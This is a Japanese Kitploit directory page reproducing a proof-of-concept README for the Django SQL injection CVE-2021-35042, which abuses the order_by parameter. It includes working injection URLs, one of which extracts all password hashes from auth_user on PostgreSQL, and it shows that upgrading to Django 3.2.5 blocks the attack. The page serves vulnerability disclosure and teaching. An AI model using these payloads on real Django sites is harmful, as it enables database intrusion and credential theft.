Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/r4vi/cve-2021-35042
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHubr4vi/cve-2021-35042

CVE-2021-35042

Django SQLインジェクション (CVE-2021-35042) を、SQLiteおよびPostgreSQLデータベースに対して段階的に悪用するインタラクティブな概念実証。

リポジトリを見る
514年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-35042

Django SQLインジェクションのバグ

質問: どの程度悪用可能か探る

回答: 恐怖を感じています

インストール

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

インタラクティブデモ

poetry run ./manage.py runserver

ランダムフィールドによる並べ替え

http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 にアクセス ?order_byパラメータがカラム"core_things_tags"."things_id"へのRaw SQL参照を渡していることに注目

最初のクエリを終了し、いくつかのSQLを実行してみる

これはおそらく限界に近い感じがします: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- これにより最初のSQLクエリが終了し、以下のSQLに変換されます:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

これは以下のエラーで失敗します:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

これは単にsqliteが一度に1つのクエリしか実行できないためです

postgresで2番目のクエリを実行する再検討

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # プロンプトに従ってください

アクセス: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

これにより以下のSQLが実行されます:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

これで基本的に何でもできるようになります。このクエリはすべてのユーザーのパスワードハッシュを盗みます。

脆弱でないバージョンにアップグレード

今、一時的にdjangoをアップグレードします

poetry shell

pip install Django==3.2.5

上記のURLに再度アクセスすると、動作しなくなっていることに注目:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
ツールをダウンロード